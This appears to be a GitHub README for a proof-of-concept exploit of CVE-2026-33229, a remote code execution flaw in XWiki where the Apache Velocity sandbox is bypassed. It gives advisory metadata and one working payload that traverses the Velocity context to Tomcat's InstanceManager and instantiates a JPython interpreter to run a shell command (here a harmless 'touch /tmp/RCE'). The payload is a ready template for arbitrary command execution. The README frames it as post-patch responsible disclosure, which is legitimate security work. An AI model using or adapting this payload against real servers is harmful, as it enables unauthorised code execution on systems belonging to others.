azefzafyoussef/cve-2026-33229Proof-of-concept exploit for CVE-2026-33229, an XWiki RCE via Apache Velocity sandbox bypass, with technical details and a working payload.
A Remote Code Execution vulnerability in XWiki Platform that allows an authenticated user with scripting permissions to bypass the Apache Velocity sandbox entirely — no Java Reflection required — by traversing pre-instantiated objects already present in the Velocity context.
📄 Full technical details: youssefazefzaf.com/posts/cve
| Field | Value |
|---|
| CVE ID | CVE-2026-33229 |
| Affected product | XWiki Platform |
| Component | Velocity macro renderer, page title parameter |
| Required privileges | Authenticated + Script permission |
| Impact | Remote Code Execution |
| GHSA | GHSA-h259-74h5-4rh9 |
| Discovered | 7 November 2025 |
| Patched | 10 December 2025 |
| Disclosed | 8 April 2026 |
$request.request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.apache.batik.script.jpython.JPythonInterpreter").evaluate("import os; os.system('touch /tmp/RCE')")
Responsible disclosure notice: PoC published after patch availability. Do not use against systems you do not own.